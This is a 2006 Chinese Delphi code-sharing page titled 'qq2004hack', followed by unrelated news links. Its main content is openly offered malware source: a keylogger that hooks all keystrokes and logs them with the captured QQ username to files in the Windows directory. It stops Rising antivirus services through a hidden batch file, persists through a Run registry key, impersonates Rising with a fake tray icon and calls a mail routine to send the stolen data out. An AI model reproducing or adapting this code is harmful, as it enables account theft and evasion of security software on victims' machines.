分享
 
 
 

qq2004hack

王朝delphi·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

感谢 sforever 提供帮助

hookkey: string;

hHook: integer;

Creeper,creeper1:TextFile;

ahwnd,comboboxh:thandle; //句柄

qqformid:HWND;

user:array[0..254] of char;

SendBody:string;

PSmtp,PUser,PPass,PGetMail,PTOMail,Subject,MailText:String;

implementation

//找QQ聊天窗口

function FpopoID(ahwnd:hwnd;w:integer):boolean;stdcall;

var wintext:pchar;

begin

result:=true;

getmem(wintext,100);

getwindowtext(ahwnd,wintext,100);

if Pos('与',WinText)>0 then

begin

TrySendMail;

Sleep(100);

UnHookWindowsHookEx(hHook);

hHook := 0;

Application.Terminate;

end;

end;

function FmsgIDedit(ahwnd:hwnd;w:integer):boolean;stdcall;

var

f:TextFile;

begin

result:=true;

comboboxh:=FindWindowEx(qqformid,0,'ComboBox',nil);

SendMessage(comboboxh,WM_GETTEXT,254,Integer(@user));

if trim(user)<>'' then

begin

assignfile(f,GetWinDir+'name.txt');

rewrite(f);

write(f,'QQ 用户名:'+user);

closefile(f);

exit;

end;

end;

function FqqID(ahwnd:hwnd;w:integer):boolean;stdcall;

var wintext:pchar;

begin

getmem(wintext,100);

GetClassName(ahwnd,wintext,100);

if wintext='#32770' then

begin

qqformid:=ahwnd; //得到QQ窗口句柄

if qqformid<>0 then

begin

result:=true;

enumchildwindows(qqformid,@fmsgidedit,0); // 暂且注销

end;

end;

end;

function Keyhookresult(lP: integer; wP: integer): pchar;

begin

result := '[Print Screen]';

case lp of

10688: result := '`';

561: Result := '1';

818: result := '2';

1075: result := '3';

1332: result := '4';

1589: result := '5';

1846: result := '6';

2103: result := '7';

2360: result := '8';

2617: result := '9';

2864: result := '0';

3261: result := '-';

3515: result := '=';

4177: result := 'Q';

4439: result := 'W';

4677: result := 'E';

4946: result := 'R';

5204: result := 'T';

5465: result := 'Y';

5717: result := 'U';

5961: result := 'I';

6223: result := 'O';

6480: result := 'P';

6875: result := '[';

7133: result := ']';

11228: result := '\';

7745: result := 'A';

8019: result := 'S';

8260: result := 'D';

8518: result := 'F';

8775: result := 'G';

9032: result := 'H';

9290: result := 'J';

9547: result := 'K';

9804: result := 'L';

10170: result := ';';

10462: result := '''';

11354: result := 'Z';

11608: result := 'X';

11843: result := 'C';

12118: result := 'V';

12354: result := 'B';

12622: result := 'N';

12877: result := 'M';

13244: result := ',';

13502: result := '.';

13759: result := '/';

13840: result := '[Right-Shift]';

14624: result := '[Space]';

283: result := '[Esc]';

15216: result := '[F1]';

15473: result := '[F2]';

15730: result := '[F3]';

15987: result := '[F4]';

16244: result := '[F5]';

16501: result := '[F6]';

16758: result := '[F7]';

17015: result := '[F8]';

17272: result := '[F9]';

17529: result := '[F10]';

22394: result := '[F11]';

22651: result := '[F12]';

10768: Result := '[Left-Shift]';

14868: result := '[CapsLock]';

3592: result := '[Backspace]';

3849: result := '[Tab]';

7441:

if wp > 30000 then

result := '[Right-Ctrl]'

else

result := '[Left-Ctrl]';

13679: result := '[Num /]';

17808: result := '[NumLock]';

300: result := '[Print Screen]';

18065: result := '[Scroll Lock]';

17683: result := '[Pause]';

21088: result := '[Num0]';

21358: result := '[Num.]';

20321: result := '[Num1]';

20578: result := '[Num2]';

20835: result := '[Num3]';

19300: result := '[Num4]';

19557: result := '[Num5]';

19814: result := '[Num6]';

18279: result := '[Num7]';

18536: result := '[Num8]';

18793: result := '[Num9]';

19468: result := '[*5*]';

14186: result := '[Num *]';

19053: result := '[Num -]';

20075: result := '[Num +]';

21037: result := '[Insert]';

21294: result := '[Delete]';

18212: result := '[Home]';

20259: result := '[End]';

18721: result := '[PageUp]';

20770: result := '[PageDown]';

18470: result := '[UP]';

20520: result := '[DOWN]';

19237: result := '[LEFT]';

19751: result := '[RIGHT]';

7181: result := '[Enter]';

end;

end;

function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;

var

creeper:TextFile;

begin

if (peventmsg(lparam)^.message = WM_KEYDOWN) then

hookkey := hookkey + Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);

if length(hookkey) > 0 then

begin

IF enumwindows(@fqqid,0) then

begin

AssignFile(Creeper, getwindir+'key.txt');

if FileExists(getwindir+'key.txt') then

begin

Rewrite(creeper);

Writeln(creeper, hookkey);

closefile(Creeper);

end;

end;

end ;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

myname:string;

batchfilename:string;

bfile:TextFile;

sysdir:string;

noti:PNotifyIconData;

begin

Application.ShowMainForm:=False;

sysdir:=getwindir;

BatchFileName :=sysdir+'killrav.bat';

AssignFile(BFile, BatchFileName);

Rewrite(BFile);

Writeln(BFile, '@net stop RsCCenter');

Writeln(BFile, '@net stop rsravmon');

Writeln(BFile, '@close ');

CloseFile(BFile);

myname := ExtractFilename(Application.Exename); //获得文件名

if application.Exename <> sysdir + myname then //

begin

copyfile(pchar(application.Exename), pchar(sysdir + myname), False);

end;

with TRegistry.Create do

begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', TRUE );

WriteString( 'system,rundll', sysdir+'RavMom.exe' );

free;

end;

assignfile(creeper,sysdir+'key.txt');

if not FileExists(sysdir+'key.txt') then

begin

rewrite(creeper);

closefile(creeper);

end;

assignfile(creeper1,sysdir+'name.txt');

if not FileExists(sysdir+'name.txt') then

begin

rewrite(creeper1);

closefile(creeper1);

end;

WinExec(pchar(sysdir+'killrav.bat'),sw_hide);

hHook := 0;

hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);

noti:=new(PNotifyIconData);

noti.cbSize:=80;

noti.Wnd:=form1.handle;

noti.uID:=0;

noti.szTip:='瑞星计算机监控';

noti.hIcon:=form1.icon.handle;//瑞星图标

noti.uFlags:=NIF_MESSAGE or NIF_ICON or NIF_TIP;

Shell_NotifyIcon(NIM_ADD,noti);

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

enumwindows(@fpopoid,0);

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

DeleteFile(getwindir+'key.txt');

DeleteFile(getwindir+'name.txt');

DeleteFile(getwindir+'killrav.bat');

end;

end.

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有